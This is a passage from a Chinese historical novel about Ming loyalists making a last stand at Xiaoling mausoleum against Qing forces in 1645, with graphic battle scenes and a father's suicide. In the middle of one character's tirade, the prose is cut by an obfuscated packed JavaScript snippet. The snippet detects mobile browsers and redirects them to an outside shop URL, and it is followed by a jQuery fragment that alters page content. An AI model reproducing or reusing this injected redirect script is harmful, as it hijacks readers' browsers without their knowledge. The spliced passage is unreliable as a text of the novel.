周瑛多想再回到过去的岁月,终生做一名寻常女子,守着弟弟,守着家人,在秦淮河畔听一曲清唱,在夫子庙前买一块糖糕,可这乱世,终究将所有的美好都烧成了灰烬。 若早知道国破家亡会是这般苦景,百姓为守衣冠投河而死,乡勇为护家园身首异处,连懵懂孩童都要扛起 “忠烈” 的重担,付出生命的代价。 那些当年在朝堂上争权夺利的官员,那些为了几两银子囤积居奇的商户,那些对国事漠不关心、只图眼前安稳的百姓,还会那般麻木吗? 她想起父亲日常的叹息:“大明若亡,非亡于清军,亡于人心涣散。” 眼下她透彻地理解了那份无奈,若每个人都肯少一分私利,多一分担当;若官员不贪腐、将士不怯战、百姓不旁观,大明何至于落到今日田地?何至于让那么人多承受生离死别的痛苦? 泪雨再次倾盆,不只是为弟弟的死,更是为这破碎的山河,为那些本可防微杜渐,却甘于因循苟且而招致的悲剧,为那些直到家国沦丧才幡然醒悟,却早已无力回天的世人。 她捏紧了宗保的弹弓,木棍硌得掌心发疼。这痛法,她到死都要牢记,记着乱世的残酷,记着人不能麻木,记着若不能守得国泰民安,世代辈出的忠烈也只能是史书里寥寥数语,徒留无尽悲凉。 冰雹砸落的声响渐歇,取而代之的是豆大的雨珠。雨势迅猛仿若银河倒灌,神道上淌起瀑布溪流,冲刷血污与碎石奔涌而下,好似一条浑浊的血河在石象生间穿行。 棂星门内,田子兴趔趄着扑到宗保尸身前。这位戎马一生、见惯生死的老将,此刻失魂落魄,从不轻弹的男儿成串坠落,若非 田文琼从旁搀扶,他已哭得晕倒。 旁边的老兵垂泪哀叹:“周千户一世忠义,竟落得绝嗣的下场,老天无眼啊!” 周瑛缓缓直起身,眼神比之前更明澈坚毅,音量不高却字字千钧:“周家是绝后了,但忠义之士不会断绝。” 她起身面对众人,冷月刀重握在手,“我们要让鞑子看清楚,汉人里不止有那帮卖国的奸佞和屈膝的懦夫,今日头可断,血可尽,绝不向鞑子投降!” 大雨影响火铳弓矢发挥,想必清军短时间内不敢来犯。 周瑛冒雨来到隐在雨雾和松柏深处的享殿,殿门虚掩,殿内烛火被穿堂风晃得忽明忽暗,仍顽强燃烧着。 朱元璋与马皇后的神位居中而立,黑底金字的牌位庄重肃穆,两侧依次排列着四十七位嫔妃的灵位,素白的幔帐低垂摇曳,隔绝殿外的浴血厮杀,好像这世间的苦难都不能扰乱这位开国帝王的安宁。 她想起幼时祖父带她拜陵时的光景,那时烛火更盛,香雾氤氲,祖父说:“太祖爷看着呢,周家子孙要守好这座陵,这是祖宗的基业。”。 她在朱元璋神位前双膝跪地,雨水从盔甲滴落在金砖上,晕开一圈圈湿痕。 她望着牌位上 “明太祖高皇帝” 的大字,想象朱元璋红巾起义时的悍勇,鄱阳湖水战时的智谋,定都应天时的豪气,还有那一句 “驱逐胡虏,恢复中华” 的誓言,在元末的黑暗里释放万丈华光。 眼中热流止不住混着雨水滚落,她庄严而虔诚地祝祷:“太祖爷,大明要亡了,当年您殚精竭虑想让王朝永固,可您的子孙太不争气,致使奸佞当道,国势衰败。今日之事,并非臣子们不尽力,也不是百姓们不忠诚,是大明气数已尽了。可是明亡了中国不会亡,鞑子只能暂时窃国,只要汉种不灭,文脉不断,终有一日会有一位像您一样的英雄承接天命,光复我华夏山河。请您在天有灵,护佑中华儿女!” 她重重磕下三个响头,额头渗出血丝仍不觉得疼。 她并不迷信神佛,此刻叩的不是 “洪武大帝” 的庙号,是那位 “扫平蒙元、还汉人天下” 的豪杰,是华夏长河里耀眼夺目的一束光。 祖父说过的“气运会循环”,说蒙元占了百年天下,终究要还回来。如今满清窃取神器,不过是历史再走一遭。她不求太祖显圣降下神威,不求佛祖庇佑逢凶化吉,只求气运循环,三百年前的光芒,能在三百年后重现。 殿门处传来细碎的响动,田子兴、田文琼与几位老兵不知何时已立在门外,雨水浸透了他们的衣甲,却没人出声惊扰。 在周瑛磕头的那一刻,田子兴率先跨步进来,“噗通” 跪倒在她身侧,涕泗交流:“求太祖爷佑我中华!” 田文琼与老兵们紧随其后,一齐跪倒在神位前,金砖被他们的额头碰得咚咚作响。 “求太祖爷护佑,早日光复汉家山河!” 悲壮的祈求声混着烛火的噼啪声、殿外的风雨声在享殿中久久回荡,穿透雨幕,飘向神道深处,飘向那片泼洒忠良血的土地。 天倾银河,暴雨如万弩斜发,密集的雨帘将神道裹得密密实实,石象生的轮廓变得模糊狰狞。 萨布素立于四方城的券门之下,烦躁地望着眼前的雨幕,那些静默伫立的石马、石麒麟都像在挑衅,无声嘲讽他的受挫。 自率军南下以来,大清雄师所向披靡。所到之处,明朝官员将领多是望风而降,跪在泥泞里奴颜婢膝地乞求苟活。 见得多了,萨布素对那些流传百年的传闻愈发嗤之以鼻。那个躺在孝陵地宫里的朱重八,还有他手下的开国功臣,真如传说中那般神威浩荡、气吞山河? 若真是英雄,怎会养出这么脓包后代,连祖宗基业都守不住! 可今日孝陵一战狠狠击碎了他的傲慢。 孝陵卫的军士们不过是些残兵乡勇,武器装备远不及清军精良,却个个勇猛顽强,以命相搏。 尤其是那个使偃月刀的年轻将领,身形矫健如脱兔,刀光凌厉似寒电,冲锋时的骁勇、防守时的坚韧,此刻一闭上眼睛,便清晰地浮现在他脑海中,挥之不去。 更让他心惊的是那些协助守陵的百姓,有白发苍苍的老者,有稚气未脱的少年,手中握着柴刀、钉耙,甚至只是一块石头,都甘愿为了一个死去的皇帝流尽最后一滴血,断头而无悔。 莫非那个老皇帝真有神力不成?死后还能操控人心,让这些汉人死心塌卖命? 萨布素眉心成川,第一次对 “朱元璋” 这三个字生出了忌惮。这个曾经只存在于传说中的开国帝王不再是模糊的符号,已成为他必须彻底打倒的目标。 势必征服孝陵,消灭朱重八所有拥趸!宣扬大清国威,捍卫八旗勇士不可侵犯的荣誉! 酉时雨势仍狂,万物沉入漆黑的混沌中,四方城城楼燃起的几簇篝火,在雨里挣扎出点点昏黄。 沉重足音踏破雨雾,多铎的贴身侍卫身披油布斗篷,带着一身水气闯进军帐。 “萨统领,你之前在王爷跟前夸下海口,说一个时辰内即可攻陷孝陵,为何迟迟不见捷报啊?” 近乎羞辱的质问令萨布素面如重枣,他单膝跪地,双手抱拳,额角的青筋因羞愧与惶恐突突直跳:“回侍卫大人,卑职无能!先前已攻破四方城,逆贼死伤惨重。卑职本欲一鼓作气剿灭余孽,谁知天降冰雹,后又转成瓢泼大雨!军士们不熟地形,夜间冒进恐中埋伏。再者王爷下了严令,不得损毁陵内的殿宇,攻城器械难以施展……请大人转禀王爷,明日一早雨势稍减,卑职即刻率军强攻,定在午时前拔除逆党,平定孝陵,以报王爷知遇之恩!” 侍卫冷笑:“萨统领有这份决心就好,你是我们镶黄旗最强的巴图鲁,王爷对你寄予厚望,你可不给给他丢脸呀。” 萨布素羞愤填胸,立刻用力叩首:“明日若不能复命,卑职甘领军法!” 7. 明月坠重搂 天色微明时,绵绵细雨未断,清军在青色的雨雾里发起强攻。 三百余名清军列成三队,盾兵在前如黑墙推进,斧兵俯身尾随,火铳手压阵于后,蹈水的脚步声在神道上奏起单调恐怖的乐律。 田文琼扶着棂星门的石柱站定,望着桥后排列整齐的九十三名弓手,峻色沉喝:“都把弓拉满了!等我号令!” 清军前锋距棂星门不足三十丈时,田文琼带头放箭。箭矢如暴雨升空,斜着扎向盾阵。箭簇撞在盾牌上发出密集的“笃笃”声,却大多被弹开。 清军弓手立刻还击,箭雨掠过桥面,几个明军弓手应声倒地。 萨布素挥舞佩刀厉吼:“前进!不惜代价拿下门扇!” 盾阵加快速度,前排士兵踩着同伴的血痕,转眼冲到棂星门前。就在最前的盾兵伸手推门扇时,田子兴高喊:“收绳!” 两名乡勇奋力拽动石柱后的麻绳,暗藏在地面的绳套遽然绷紧,几个清军脚下一绊,重重摔在门槛上。其中一人后脑磕中石柱的雕花棱,脑袋碎如蛋壳,其余几人还未站起,便被弓手精准射穿颈项。 “斧手上!劈开门扇!” 萨布素暴跳如雷,九十名斧兵举起开山大斧扑上去,斧刃劈在加固的圆木上,木屑溅入雨幕。 田文琼俯身躲过射来的箭矢,对着桥后喊:“弓手换攒射!瞄着盾缝!” 弓手们立刻调整姿势,箭簇从盾牌衔接的缝隙间扎入,接连有数名清军捂着脖子胸口倒下,盾缝下方淌出血河。 萨布素在阵后看得焦躁,挥手示意火铳手前移:“列队齐射!扫清门后逆贼!” 十二名火铳手列成横队,火绳燃得“滋滋”作响。 “砰砰砰”的铳声震得雨雾翻腾,铅弹穿透木门的裂缝,棂星门后立刻传来惨叫,四名,明军弓手倒在石柱旁,其中一人的箭囊被打穿,羽箭散落一地。 田子兴见门扇已被劈出三个碗大的缺口,木材断裂的茬口露着白木,他知道棂星门守不住了,挥刀砍断石柱间的麻绳,高声下令:“撤至金水桥!按第二套法子来!” 守军交替掩护着后退,最后一名弓手撤离时,还往门扇后扔了两个浸油燃烧的干草包,这是给清军的“见面礼”。 清军欢呼着破门,最前的几个斧兵刚踏上金水桥,便被桥面的碎石滑得重心不稳,一人直接摔向桥侧的御河,另一人失衡撞在同伴身上。 “慌什么!都踩稳了走!” 领头的清将怒喝着带头上桥,刚走到桥中,便见桥后一道黑影扑来。 是民壮王铁匠。他双手举着四十斤重的打铁锤,高高抡起青筋暴鼓的胳膊,锤头带着风声砸向那清将的脑袋。 清将急忙举盾抵挡,“当”的一声巨响,盾牌被砸得凹陷,他连退数步跌倒。 王铁匠转身一锤砸中另一名清兵的太阳穴,锤头嵌入颅骨,让周围清军都傻了眼。 可这迟滞的刹那,在身后响起火铳声,一枚铅弹穿透他的胸口,他倒地时锤头还死死卡在清兵的头骨里,尸体顺着桥面的坡度滑了几尺,鲜血沿着桥洞滴进御河,染红了水面。 “老王!” 田文琼急怒放箭,射倒那名火铳手,可清军已借着间隙逐个上桥。桥面宽仅丈余,三个持械的士兵并行便嫌拥挤。清军只得排成双列推进,前队拼杀时,后队连斧头都挥不开。 周瑛提着冷月刀守在桥南,见清军过了半数,轻快地吹了声尖哨。 桥南两侧的松林里传来绳索拉动的“咯吱”声,预先架在树干上的十张竹弓同时触发,短箭飞蝗般射向桥面中段的清军。清军猝不及防,十余人中箭倒地,桥面瞬间拥堵。 田子兴趁机喊:“扔石头!” 民壮们抱着预先备好的石块滚下斜坡,砸在清军的背上肩上,虽不致命,却大大延缓了他们停进的速度。 萨布素咬牙切齿。他本以为破门后便能势如破竹,却没料到这石桥竟是致命的陷阱。桥面撒满碎石,守军借着桥南的石阶和松林掩护,既能远射又能近战,清军想加速却怕拥挤中箭,想后退又怕被守军掩杀。 他三次下令火铳齐射,都因桥面狭窄误伤了多名清军,只能让火铳手零星点射,收效甚微。 雨势时大时小,攻防就此陷入了胶着。 清军攻到桥中便会被竹弓短箭和滚石逼退。待清军退到棂星门休整,田子兴父子又会带着人冲过桥,重新布置竹弓、撒布碎石,将大树杈搬到桥中当路障。 几个清军试图用斧头劈开树杈,都被田文琼开弓射杀,惨叫着滚下桥去。 巳时过半,清军第三次攻到桥南时,田文琼发现东侧松林里的竹弓已耗尽,刚要喊人补充,只见周瑛挥刀逼退身前的清兵,往御河方向努了努嘴。 他转头望去,四个民壮正抱着陶罐往河里倒火油。待清军又有数人过桥,周瑛高声下令:“点火!” 一支火箭流星般从桥南窜出,精准落在河中清军的尸体上。火油蔓延,在水面上燃起一道火墙。桥面上的清军惊呼后退,挤在火墙北侧乱作一团,多名清兵被挤下河,刚浮出水面便遭弓手射杀。 萨布素被迫下令收兵,眼看火墙后的明军重新加固防线,气得他挥舞马鞭狠狠抽击地面,溅起一片泥水。 直到午时桥面上的火才渐渐熄灭,留下大片焦痕和刺鼻的烟味。 田子兴靠在石阶上,扎紧右臂的箭伤,然后笑着接过乡勇递来的面饼。 周瑛蹲在桥边,用河水擦拭刀身上的血污,毫不懈怠地望着棂星门方向的清军大营。桥面上尸体堆叠,御河水被染成暗红,可只要这道石桥还在守军手里,孝陵的陵宫便仍是一道不可逾越的屏障。 十六日午后的南京城笼罩在剃头令的阴霾中。秦淮河畔的柳树蔫头耷脑,往日热闹的夫子庙只剩几家铺子还开着。街上行人多已剃了光头、编着鼠尾辫,风愁云惨,相顾含泪,低头走路时,总忍不住用袖子蹭蹭发凉的后脑勺。 就在这时一则消息剖开了令人窒息的沉闷。 “孝陵卫还在坚守!有人看见清军的尸体成拨地往下抬呢!” 消息是紫金山一带的居民传出的,接连有人目击清军在大量运送死伤者,连运尸路线都说得一清二楚。 喜讯不胫而走,绝望的南京城回光返照般沸腾了。 一些老妪刚擦干眼泪,收藏好儿孙的长发,准备让他们明日去剃头棚,听见消息后赶忙焚香祷告,朝着紫金山方向拼命磕头,哭求神佛保佑,太祖显灵。 一名教书先生昨日被逼剃了头,正对着镜中陌生的模样发呆,闻讯后抓起案上的笔,在纸上写下“忠勇”二字,贴在门首上。 街坊们见了纷纷效仿。 更有许多人在家中供起祖先牌位焚香祈祷,或是提着香烛往净觉寺、白下寺赶,乞求菩萨保佑孝陵卫将士,寺院的钟声回荡城头,比往日任何时候都要响亮。 “孝陵还在,咱们就有盼头!” 这鼓舞人心的口号传遍街头巷尾,听者无不激动颔首,一面小心提防着附近巡逻的清军兵丁。 人人都明白,南京城是一艘正在下沉的大船,明故宫的宝座换了主人,十三城门都插上了清廷的旗帜,连昔日的朝廷命官也换了衣冠。 可孝陵那片松柏覆盖的山岗,就像惊涛骇浪中颠簸的舢板,它救不了所有落水者,却能带给在旋涡中挣扎的人们求生的希望。 秦淮河畔一处宅院里,几个前明官员正围坐叙谈,桌上的茶早已凉透。 曾任兵部主事的李嵩端着茶盏,难以置信低喃:“孝陵卫满打满算不足千人,前日田子兴去助郭广守朝阳门,折损至少过半,剩下的多是乡勇杂兵,怎么可能挡住两千清军?” 曾任应天府尹的张彦苦涩感叹:“数百杂兵对阵两千虎狼之师,竟能坚守一天一夜,田子兴真英雄也。” “唉,朝中不是没有将才,为何会落到如今这境地……” 有人低声叹息。这话让现场变为一滩死水。 降臣们想起萨尔浒之战时战死的杜松,想起潼关原之战时的孙传庭,想起那些为大明流血的将士。 再想到今晨自己镜中光头辫发的丑状,脸皮一个比一个火辣,心里一个胜一个苦涩。 李嵩端起凉茶灌了一口,却浇不灭那股从五脏烧到表皮的羞愧。他们这些食朝廷俸禄的官员降了,那些乡野匹夫、残兵老将还在为大明守着最后的脊梁。 “仗义每多屠狗辈,负心多是读书人。” 这话他们不想认也得认了。 未时三刻,雨收云散,清军终于磕磕绊绊攻到了文武方门前,萨布素正踩着满阶血泥,率军撞击加固的门扇,亲兵慌张来报:“报统领!豫亲王殿下亲临,已进入神道了!” 萨布素刀尖贯顶,他正因战斗延时惶恐,如今多铎亲临,若再不能了结战事,自己这颗脑袋怕是丢定了。 “全军死攻!拿下享殿者赏银百两,后退者立斩!” 萨布素血脉偾张,亲自挥刀带队冲锋。 周瑛等人力战失守,田子兴怀抱朱元璋灵位由享殿内退至内红门内,坚守方城明楼的最后五名弓箭手赶忙射箭为他们断后。几个追兵中箭倒地,为他们争取了退入内红门的间隙。 萨布素急着迎接多铎,下令暂停进攻。 参战的清军们吃够明军的苦头,愤恨地用长矛刀剑扫倒劈砍嫔妃们的灵位。一人正挥刀劈向马皇后的灵位,被萨布素紧急喝止。 “听说这皇后很贤惠,休要对她无礼。” 那清军只得悻悻住刀。 少时,多铎的明黄伞盖出现在文武方门外。他踩着满地上的箭矢与碎甲,踢开破裂的朱漆勇字盔大踏步向前,眼珠左右转动,观看沿路伏尸。 明军或倚柱而亡,或紧握兵器倒地,绝大部分身着粗麻短褐,都是寻常民勇。 萨布素快步前来跪迎,栗栗羞惧道:“卑职无能,延误战机,请王爷降罪!” 若只是问罪,绝不值得多铎亲自跑一趟。 他南下以来无往不利,见惯了明军的软弱,眼下很好奇这小小孝陵卫为何能在八旗精兵的雷霆重击下坚守两日之久,想亲眼瞧瞧,这群顽抗到底的逆贼是何模样,究竟有什么过人的本事。 他不睬萨布素,指着右前方一个倒毙的乡勇问:“听说这些人没有一个求饶投降的?” 萨布素不安回话:“是……这些逆贼似乎被朱重八的亡灵蛊惑,个个疯了一样来送死。” 多铎冷冷驳斥:“胡说八道!” 他进入文武方门,见享殿内外横七竖八躺着两三百具尸体,当中只有寥寥十几个明军正规军。 他驻足片刻,问:“残余敌军还有多少?” “估摸着……不足三十人。” 萨布素低头回话,不敢正视多铎的眼睛。 多铎闻言一愣,随即呵呵冷笑,意外之余更被激起一丝好胜心:“二十余人竟杀我数百健儿,倒真是些百里挑一的悍将。那些南蛮总说我大清胜之不武,今日本王便要堂堂正正赢给他们看!传令下去,待会儿进攻方城明楼,不许重兵压进,不必用火铳。让弓箭手列阵掩护,选派二十五个最勇猛的将士去与残余明军决斗,本王要让他们败得心服口服!” 他自小在满人尚武的文化中成长,此番南征战功赫赫,如今南京不战而降,胜券已然在握,这让他更加坚信汉人不堪一击,大清的胜局乃天命所归。 然前日千余汉人为抵抗剃发令在秦淮河集体投河,给他急于求成的心狠狠泼了盆冷水。 而今孝陵卫的抵抗再度打破了他的认知。 不足千人的残兵乡勇竟凭着简陋器械硬抗镶黄旗精锐两日,杀得清军伤亡惨重。他们至死拼杀的姿态、身上血肉模糊的伤口、甚至依然圆睁的双目,都在诉说一种他从未见过的顽强。 这不是疯魔,是真勇,比任何武器都能刺伤他的骄傲。 南蛮本就诟病大清靠收买降臣、趁火打劫取胜,今日若以众暴寡屠戮孝陵卫残兵,岂不是坐实了他们的闲话?何况南京城虽已沦陷,可剃头令引发的民怨未平,孝陵卫的坚守就像一团火在那些不甘亡国的汉人们心中燃烧。 让这些逆贼在重兵围困下壮烈战死,恐怕会激励更多人反抗。 不行。 他多铎要的不是一场狼狈的胜利,要光明正大靠麾下将士的勇武取胜。向所有汉人传递一个信息:你们最勇猛的力量也挡不住八旗的重锤。大清的江山是靠真刀真枪拼出来的! 守军在内红门内搭建了少量掩体,周瑛等人躲在石块泥土垒筑的矮墙后喘息。 田子兴见明楼上的弓箭手们都跑了下来,责问:“你们为何下来了?” 弓手们凝重道:“箭矢都用完了,大人,我们该跟鞑子拼命了!” 所有人都明白,最后的时刻到了。他们相互抱拳,眼中的感激与敬意胜过万语千言。 周瑛与田子兴不约而同靠向对方,并肩而立,争取能死在一处。 “轰隆!” 内红门的木门被清军撞得粉碎,十几壮如蛮牛的清军持械冲来。 “杀!” 田子兴怒喝着率先迎战,带队发起此生最豪情万丈的冲锋。 一场昏天黑地的血战就此爆发:双锋交击时火星如碎星崩溅,刃底绽开的红梅开谢不绝,残肢断臂随着吼声四处抛飞。 利刃从颌下削骨而过,鲜血喷溅三尺;长枪入腹穿肠而出,脏腑混着热血滚落。 铁衣相撞的铿锵、骨骼断裂的脆响、临死前的惨嚎交汇,共谱一曲绝望战歌。 方城甬道上,尸骸交错成丘,鲜血浸透泥土凝成暗红的胶状物。升仙桥西侧,腥风卷着铁沙,迷得人睁不开眼。 不过一盏茶工夫,十余名守军相继倒下,清军尸体已堆起两三层,连上重伤者,人数竟达两百余众。 后方清军源源不断赶来支援,并拖走伤员,却始终无法剿灭顽抗的明军。在他们眼中这些人活像怪物,不怕痛不怕死,枪折未肯移寸铁,剑断犹能裂瞳睛。 内红门外,多铎端坐在太师椅上,脸色像急速昏暗的穹幕越来越难看。 萨布素急如热锅蚂蚁,他亲自筛选每一名参战士兵,稍觉畏缩或技艺不精者,即刻严声喝退,把最骁勇的部从一个接一个推到门内甬道上去受伤,送死。 当看到守军竟开始用旗兵的尸山做掩体时,萨布素再也按捺不住,转身跪求多铎:“王爷!卑职请战!请让卑职去拿下这群逆贼!” 多铎僵着脸,搭在扶手上的右手不耐地稍稍抬起,快速一挥。 萨布素大声应诺,提起心爱的,曾斩过无数敌首的马刀,狼奔虎突冲入战场。刀锋横扫,两个明军躲闪不及,被当场劈死。 周瑛见强敌来犯主动迎战。 萨布素早将她视为眼中钉、肉中刺,心头怒火与杀意并起,狂劈乱砍,招招狠辣。 周瑛经历车轮战,已疲惫不堪,手臂酸痛得几乎抬不起来,全凭意志支撑。 她巧妙避开萨布素的猛攻,满地游走,只求以巧取胜,可体力的悬殊终究难以弥补。 几个回合后,萨布素一记正面劈砍,周瑛横刀格挡,被震得双臂发麻,虎口开裂,身体受巨大惯性推动向后跌出,重重摔进乱七八糟的尸堆。 萨布素趁势追击,对准她的脑门高高举刀。 一声震天霹雳骤然炸响,仿佛天崩地裂,殿宇摇晃,地面颤动。 所有人都被这突如其来的巨响惊得失神呆立,萨布素的马刀停在半空,惊诧地望向天空。 说时迟那时快,一道惨白的闪电纵贯天地,正好劈中旁边一株大松树。树干喷火,噼啪作响断折,带着红蓝相间的烈焰砸向地面。 两名正在围攻田文琼的清军被活活压死。 半空乌云仿若怒龙翻腾,黑沉沉地环绕明楼盘旋,好像随时会扑来。 雷声滚滚,如龙吟虎啸,天门破碎,震得人心颤神痴。千峰乱抖银蛇鞭,万壑齐吹幽冥气。紫金山深处,似乎有强大的妖魔正在苏醒。 狂风乍起,地上残肢随风滚动,老松狂舞,万叶逆飞,乾坤上下一片昏黑,唯有电母逞威时能看到雪光中一张张惊恐的脸。 清军多是北方人,没见过此等恶劣天气,一齐失慌。 周瑛灵光一闪,竭力吼叫起来:“太祖显灵了!太祖显灵了!” 声音穿透雷鸣,清晰传至每个人耳中。田子兴等人会意,跟着高声呐喊:“太祖显灵!太祖显灵!” 多铎在门外看得真切,心中不免动摇。这般诡异的天象,再加上明军反常的顽强,莫非真是朱元璋在护佑这些守陵人? 战场上的清军更是吓得魂飞天外。他们本就对朱元璋心存敬畏,两日来明军以弱胜强的表现早已让他们私下猜疑:“是朱重八的亡灵在作祟”。 眼前电闪雷鸣、松树被劈,更让他们坚信这是朱元璋降下的天罚。 恐惧爆发,人们再也无心恋战,屁滚尿流地向门外逃去。 萨布素又惊又怒,厉声喝止:“站住!不许退!” 可是无人听从。 他孤立无援,只得放弃唾手可及的胜利,跟着退到了内红门外。 周瑛赶紧和众人一道扶着伤员撤回明楼,关上明楼的木门,这时连她在内活着的只剩八人了。 雷公不知疲倦地挥动斧头,暴雨犹如乱箭射得大地沙沙哀鸣。 内红门外清军受怪力乱神恐吓,人人自危。 多铎正心烦不安,一个身影忽然窜出来跪倒在他跟前,是伴驾的前明翰林院编修李崇。“王爷!天象异变,雷击古松,此乃上苍示警啊!若再行杀戮,恐惹灾祸,还望王爷三思!” 他被孝陵卫守军忠勇震撼,指望冒死营救。 多铎正暗自犯嘀咕,这雷声震得人心里发毛,或许真是不祥之兆。既然武力威慑已达极致,索性试试招降,既能减少伤亡,又能借 “归顺” 之名瓦解汉人的抵抗。 他传令召见前弘光朝户部尚书王铎。 王铎应召冒雨赶来,一身湿透的长袍紧紧裹在身上,显得愈发佝偻老迈。 他早听闻孝陵卫死战的事迹,瞧见现场的尸山血海、残肢断臂,更是心惊肉跳。 来到享殿领了多铎的旨意,他由三名持盾清军护着,哆哆嗦嗦走到升仙桥前,望着明楼上黑洞洞的箭窗,清了清喉咙,尽量使用恳切的语气:“楼上可是田子兴田大人?老朽王铎,受豫亲王殿下所托,特来与诸位说几句善言。” 田子兴刚刚目睹重伤的将士咽气,听到这老匹夫喊话,更是怒火中烧。 他怀抱太祖灵位,来到明楼垛口,指着楼下人喝骂:“王铎,太祖灵位在此,还不速速参拜!” 王铎尴尬无比,强充镇定道:“田大人,事已至此,何必负隅顽抗?如今大明气数已尽,豫亲王殿下仁慈,念诸位皆是忠义之士,不忍赶尽杀绝。若肯归顺大清,殿下许诺保全诸位性命,还能酌情授官,诸位何苦要为一座陵寝白白送命?” “放你娘的狗屁!” 田子兴含恨啐骂,“你这奸贼,还有脸提‘忠义’二字?当年你巴结马士英,把朝堂搅得乌烟瘴气!后又陷害先帝爷的太子,毁我大明正统!如今大明亡了,你又就背信弃义,跪舔鞑子!你剃了那个倭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875422|191879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓜头站在太祖陵前劝降,就不怕九泉之下的先帝和列祖列宗扒你的皮、抽你的筋吗?” 唇枪舌剑戳得王铎面无人色,直打哆嗦,抖着稀疏的白胡子,说不出一句反驳。 田子兴越骂越怒:“回去告诉你的鞑子主子,要杀要剐我们认了!想让我们像你一样屈膝投降,除非太阳打西边出来!你赶紧滚,再敢多言,老子一箭射穿你的狗头!” 王铎汗颜无地,老泪直流,捂着脸转身跑回内红门,着向多铎告罪:“王爷,逆贼太过猖狂,冥顽不灵,罪臣劝降无果,请王爷降罪!” 多铎望着王铎狼狈的丑态,又看了看明楼上晃动的人影,面肌微微抽搐。他强忍戾气,准备再试试另一张牌。 周瑛正与田子兴等人猜测鞑子下一步的花招。 忽听升仙桥下传来粗暴的呵斥声,众人赶忙凑到垛口观看。只见雨帘中两个清兵正拖着一人走来。那人双腿软如无骨,在泥地里拖出长长的痕迹,两边袖子被撕得粉碎,双臂血痕累累,散乱的头发被雨水浸透。遮蔽了面容。 拖拽他的汉人清军仰头冲明楼上吆喝:“田子兴!睁大你的狗眼看看,这人你认得吗?” 周瑛万箭攒心,一声 “爹!” 的尖叫冲口而出,凄厉哀情引得惊雷响应。 那满身血污、虚弱不堪的男人正是她的父亲周世楠! 田子兴等人又惊又怒,指着桥下破口大骂:“鞑子卑鄙无耻!竟拿残弱作要挟,算什么好汉!” 汉人清军狠狠踹了周世楠一脚,催喝:“周世楠,快劝你大哥投降,留一条命日后大家还能活着做兄弟,总比死了强!” 周世楠双手死死撑着地面,艰难地抬起头,望向明楼垛口,急切呼喊:“瑛儿!是你吗?” “爹!我在这儿!” 周瑛大声哭喊,她最怕的事发生了,鞑子用父亲逼她屈服,她该如何是好? 周世楠听清女儿的声音,眼神立刻变得有力了,不顾清军呵斥,高声喊道:“瑛儿,爹不是来劝降的!爹是来看着你们杀敌的!你们干得好啊!” 话刚起,清军便举起刀背狠砸他的肩背。 周瑛肝肠寸断,失声喊道:“爹!宗保战死了!我对不起你们!” 周世楠惊诧,旋即咧嘴而笑,更加精神饱满地赞许:“宗保为国捐躯,是周家的荣耀,你也是,你们都是爹的骄傲!” 这句话冲散了周瑛心中所有芥蒂与委屈,眼泪淹没父亲血染的身影。 周世楠说完猝然发力,双手攥住清军锋利的刀刃,狠狠刺入自己的胸膛。 “爹!” 周瑛冲动地想跳下明楼,被身边军士阻拦,她用尽力气嘶吼:“鞑子!你们这群畜生!总有一天我们汉人会杀了你们的狗皇帝,把你们赶回老家!” 田文琼含恨抽出最后一支箭,火速瞄准内红门外的多铎。 “嗖” 的一声,箭矢携着怒火与悲痛飞奔,却被狂风和雨丝扰了准头,擦过多铎的头顶,射落了他的凉帽。 众人的惊呼过后,多铎勃然大怒,抛弃所有克制,指向明楼咆哮:“全军猛攻。杀尽逆党,一个不留!” 清军水银泻地般冲向明楼,明楼上的幸存者们从容不迫拿起武器,没有畏惧,只有决一死战的畅快与兴奋。 周瑛用力擦拭已经缺口卷刃的冷月刀,父亲饮刃自尽的悲壮、宗保战死神道的惨烈,深刻烙□□头,催促她迫不及待要以胡虏的鲜血,祭奠至亲。 忽然,一只温暖的手抚过她的脸颊,将腮边的乱发拨到耳后。 她顺势抬眼,撞进田文琼含笑的眼眸,他的声音温柔坚定:“来世,我们还做夫妻,好吗?” 周瑛含泪点头,再无遗憾。 清军砸开堵门的石块,配合云梯攻上明楼。 萨布素一马当先,认准周瑛杀过去,要了解未完的恩怨。 周瑛挥刀迎上。 此刻的她挣脱了□□的桎梏,父亲的嘱托、宗保的期盼、百姓的坚守,化作源源不断的精神力量,让她重拾了最初的勇猛。 冷月刀在她手中如银汉倾泻,刃光未至,凛冽的刀气已凝作寒霜。旋身时如崩云裂石,寒涛般的刀影恰似玉龙舞爪。旋斩时风驰电掣,劈砍开漫天雨雾。刀环震颤,星芒炸裂,刃口掠过,云纹若崩。回锋削甲,铁甲碎裂如飘雪。倒拖斫地,溅起血珠化长虹。 二人跳在城垛上酣战,你来我往,难分胜负。 一些清军想上前协助,都被萨布素厉声喝退。 内红门外,弓箭手张弓搭弦瞄准周瑛,也被多铎喝止。 “真正的巴图鲁不能靠旁人取胜。” 这是满汉顶尖勇士的终极较量,是意志与武力的巅峰对决,关乎两族荣誉。 周瑛脑海中走马灯般闪过一幕幕画面: 大校场上,葬身石榴林的神机营官兵,在绝境中向着敌人发起最后的奔袭。 豪宅里,举家自尽的勋贵女眷与誓死杀敌的男丁们依依拜别。 长安街上,那些袭击鞑子的宦官们,事前虔诚祭拜崇祯爷的灵位。 明道书院里,何鹏飞望着学堂上认真读书的宗保与马世奇,欣然微笑。 那带头跳河的官员大概曾在朝堂上为民请命,犯颜直谏。 那自焚而歌的士人或许也曾心怀苍生,纵论天下,激扬文字。 还有那些投河殉国、英勇守陵的百姓们,他们都曾有过鲜明多彩的生活。 有的曾是木匠工坊里的老师傅,持墨斗弹线,一旁徒弟扶木凿榫卯,传承着斗拱飞檐的智慧。 有的在市井书坊排拣活字,在染坊浸染布料,在磁窑烧制精美的瓷器,在铁器铺里锻造金银铜铁。 有的是郎中,在医馆晨光中三指搭脉,向碾药学徒教授望闻问切的古法。 有的是绣娘,在绣坊窗前引线穿针,彩线缀绫罗,花鸟鱼虫出于指尖。 …………………… 